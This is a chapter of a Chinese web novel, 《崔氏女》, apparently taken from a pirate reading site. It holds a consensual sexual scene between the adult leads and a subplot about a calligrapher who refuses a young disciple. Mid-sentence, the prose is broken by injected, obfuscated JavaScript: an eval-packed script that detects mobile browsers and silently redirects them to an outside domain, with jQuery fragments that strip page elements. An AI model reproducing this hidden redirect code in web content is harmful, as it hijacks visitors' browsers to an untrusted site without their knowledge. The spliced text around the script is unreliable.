72. 满足了
作品:《崔氏女》 大手用力揉着细腰,梁千胥脸上露出一丝欢愉,但身体依旧叫嚣着“不够!还不够!”
他想更用力,想把她揉进他身体里!可梁千胥终是不敢继续,怕再用力会弄疼她。他只好改用轻轻地抚摸,大手不断在她腰间游走,以此来缓解自己的欲望。
手指突然触及她的衣带。
脑子里浮现方才的对话,她说不必忍的。
梁千胥只犹疑了一瞬,便放任自己的手指缠绕上她的衣带,丝滑的衣带一圈一圈绕在他手指上,再轻轻一用力,便打开了一道门,通往他从未触及却令他魂牵梦萦之处。
指腹轻轻触及柔软的腰间肉,却快速弹开,心哐哐地撞击着胸腔,这一刻梁千胥前所未有的胆怯,害怕这是一场梦,轻轻一碰便会破碎!
但脖颈处的触感又如此清晰,刺激的梁千胥只想暴戾地撕破一切,疯狂地占有!他的手再次覆上她的腰,这一次没有任何的阻挡。
梁千胥喉间发出怪异地“呵”声,而崔清棠好似玩累了,已经从他的喉间离开,轻轻倚在他肩上。
梁千胥低头便看见因为衣裳松散而露出的一抹白,她的锁骨竟也如此诱人!他埋首下去,像是她对他喉结那般,一点点还给她。
红唇贴着肌肤缓慢移动,梁千胥开口问:“你允了的对吧?”
但他并不需要崔清棠的回答,这只是他给自己的肯定,话未落,他已然动了起来。
小几上还摆放着崔清棠带来的那碗又酸又辣的解酒汤。不断地晃动,致使汤从碗里溢出,撒在了小几上,又往下滴落,一滴一滴汇聚在地上。
浓重的辣味醋味飘散在空中,不久后又出现另一股奇怪的味道混了进来。
崔清棠满脸通红地埋在梁千胥胸膛,她的脸从未像今日这般如此的烫,让她难得有些不好意思。隔着几层衣物便是如此疯狂,真不知若是……那该是何感觉?
感受到肩膀处的呼吸由粗重混乱逐渐恢复平静,崔清棠开口:“我头发都被你弄乱了!”
声音软糯甜腻,吓得崔清棠咬上自己的唇,她的声音怎么变成这样了!
梁千胥从她身子里抬起头,眼里情欲还未散尽,见她头发果然被他蹭的有些乱了,乖巧地伸手替她微微整理。
崔清棠整理好自己的衣服,余光看见桌上那把匕首,“这匕首我喜欢,我想要!”
梁千胥瞧着她还有些歪的发髻,但至少碎发都被他整理不见了,他满意地点头,一手又回到她腰上,另一手拉着她的手把玩。
“你眼光倒是极好,这可不是凡品。”
“自然!”崔清棠瞪他,眼里满是娇俏,“你给还是不给?”
餍足后的男人笑得格外畅快,“我人都是你的了,东西自然也都是你的!”
崔清棠颇为满意,奖励般地轻触了他的脸颊,红唇一触即离。而她拿着匕首正欢快地观察时,却感受到某处似又有起势的状态。
崔清棠忙道:“大人,我刚和你说的正事你还记得吧?还有明天我得和柯长史去趟三长镇看秋收的情况,你记得莫偷懒,别发脾气,不急的事便等我回来再处理!还有后日黑豹军小考……唔!”
梁千胥本是愉悦的表情逐渐沉下来,对某个破坏这个氛围的人颇为不满地伸手,掐住她的脸颊,阻止她继续说下去,“你坐在我腿上,想的全是这些事吗?”
崔清棠只是正事办完,她满足了,不想再和梁千胥闹下去。她讨好地冲他一笑,将他的手从脸上拿下来,“自然不是!”
又凑近他耳边,轻声道:“大人我很舒服!”
然后趁梁千胥晃神之际,以迅雷不及掩耳盗铃的速度带着匕首跑出了房间!梁千胥刚被她的话撩的心剧烈跳动,反应过来时只看见她的背影在门边消失。
梁千胥无奈地扶额,脑中却不受控制地回想起刚刚的一幕幕,嘴角忍不住上翘。他努力控制压平嘴角,但没过一会又翘了起来,最后直接咧开嘴笑了起来。
-
赵云尚翻看着手里的一份份答卷,不时满意地点点头,突然马车外响起一声“赵大师!”
“吁!”马车也随即停了下来。
赵云尚撩开车帘,见外头一少年正冲他行了一个长揖,“你是?”
少年抬头,“赵大师你不记得我了吗?我们前段日子在玉锦客栈的三楼见过面!我叫唐从杨,我自幼便仰慕您,一直想拜您为师!”
“哦!是你啊!”他一提要拜师,赵云尚便想起来了,“我上次已经与你说过了,我不收徒。”
唐从杨满脸焦急,“我后来又去了几次客栈没见到赵大师,原以为您已经离开鞍州。前几日才从友人口中得知,您留在了鞍州教书!既然如此,您为何不愿收我为徒?”
他又急忙从仆从手中拿来他的笔墨,“赵大师,请您看看!这些都是我的平日练习所作,虽然比您的是差距甚远,但也还算是能入眼。
教导过我的夫子都夸赞我!我想我还算是有点天赋的!并且我甚是勤勉,一定不会让您失望的!请您收下我这个弟子!”
赵云尚皱眉,“我都与你说了我不收徒啊!孩子你还小,不必非强求我,世间有很多大师,你找其他人去吧!”说着他便把帘子放下想要离开了。
但唐从杨没有放弃,他在外大喊:“可大师教授的那些学生不也算是您的弟子吗?您既然已开了先例,那多收我一个又为何不行?”
赵云尚愣了一下,他再度撩开车帘,“你说的好像也对啊!”那些学生也都是他的弟子!那他以后不能说不收徒了!
唐从杨听赵云尚这样说,脸上立马露出大大的笑容,他眨着大眼睛点头,期待地看着赵云尚。
“那你也去学堂吧,我就可以一起教你了!”
唐从杨再次耷拉下脑袋,“可是我进不去!赵大师现在所教授的都是黑虎军的士兵,并不对外招收学生。”
赵云尚不知道,他没问过这些,“这样啊!”
他拿笔挠挠头,颇有些不好意思地看着眼前的少年,感觉自己好像骗了他,随即他又突然想到,“不对!就算你能去学堂也不对,我只是教他们认字!但你自然是已经开蒙过的!所以我依旧还是不能收你为徒!没错,就是这样!”
赵云尚自认给了一个非常好的解释,想来是能说服对方的!而他还急着去接他夫人呢!
赵云尚第一天当夫子时只觉得学生们有些吓人,但至少态度还行,便觉得这活也还能做。可到了第二天他就疯了!他不过是教了非常简单基础的十个字,给了他们一天时间,他们竟然都还没学会!一个个写的歪歪扭扭,不成形状!
五岁孩童一天都能认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401102|179881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十个字,这些人别说写了,连记都没记住!气的赵云尚当场就罢课了!他气冲冲地去找崔靖蕙诉苦,却发现她的教学很顺利。他很不解,并问询了崔靖蕙,崔靖蕙便与他分析,并且倾囊相授,教给了他好几个方法。
赵云尚本是有些怀疑,但晚间的时候崔清棠又过来刺了他几句,到了第三天他便又继续去上课了。
只是依旧拿那帮学生没办法,便想试试崔靖蕙的方法,没想到效果比他预想的好很多!
他的教学终于有了喜人的成果,他的学生们识的字越来越多,他们关系越来越融洽。
赵云尚也从夫子的这份活里感受到了乐趣和成就,现在每天他都会迫不及待地赶回家,与崔靖蕙分享,然后得到崔靖蕙的夸赞,第二天再度热情地投入到教学中!
今日也是如此,他正急着要去找自家娘子说话,便催促着马夫赶紧走。
唐从杨跟在马车后跑了几步,但还是没能拦下赵云尚,一旁的仆从道:“郎君!要放弃吗?”
“不可能!”唐从杨坚定道,又转身去了另一处。
“啪嗒!啪嗒!”又是一队马车。
崔清棠近日在忙秋收的事,时常去田里查看情况。她虽不是特别擅长此道,但闲时读过不少杂书,有些许了解。又通过崔家找了几位擅长此道的人过来一同探讨,毕竟秋收乃是民生之重,需要多费些精力。
见多识广的崔靖蕙也提了一些意见,如今她们已经有了初步计划,只待秋收后开始动工,保证来年春种,希望能在明后年秋收时能有所增长。
故而此段日子崔清棠忙的是每日早出晚归的,难得在马车里休憩一会时,突然听到外面有人大喊。
“崔副使!我叫唐从杨,我是为了赵云尚赵大师的事来的!”
赵云尚?难道他惹什么事了吗?应该不会,姑父并不是什么坏心肠的人,只是有一些男子们惯有的毛病。而近日听姑姑谈起,她们之间的关系已然有了改善,现在家中都以姑姑为首,姑父全听姑姑的话。
“停一下。”
唐从杨见马车停下,大大松了口气,他很害怕没人搭理他。
他对着停下来的马车也做了一个长揖,嘴里边说着:“我自幼习字开始,便是依照赵大师的字为模本研习多年,赵大师的字潇洒肆意,独树一帜!乃是我朝当之无愧的书法大家!崔副使怎么能让他去当个普通的教书先生!还是给一群根本不懂欣赏的人开蒙!”
说完他抬眼看对方的反应,却在瞧见那张脸时呆愣住了,这,无人提过崔副使竟然这般好看啊!
少年害羞地不敢多看,匆忙把眼睛移开。
崔清棠撩开马帘,见是个少年,听完后她道:“就是因为他字写的好,才让他去教人认字啊!不然不是白费了他这一身天赋吗?”
唐从杨还在震惊她的美貌,一时有些恍惚,还是身旁的仆从提醒,他才继续道:“赵大师从前都不收徒的,定然是你逼他去做的!你不能逼他去教书!”
“哼!我能说动他去教书自然是我的本事,你要是也有这番本事也可以去劝他离开,我又没强压着他在学堂教书。”
说完崔清棠便放下了帘子,她累的很,无意和一个少年纠缠这等小事。
马车再次离去,累极的崔清棠没看到少年疯狂闪烁着的目光。

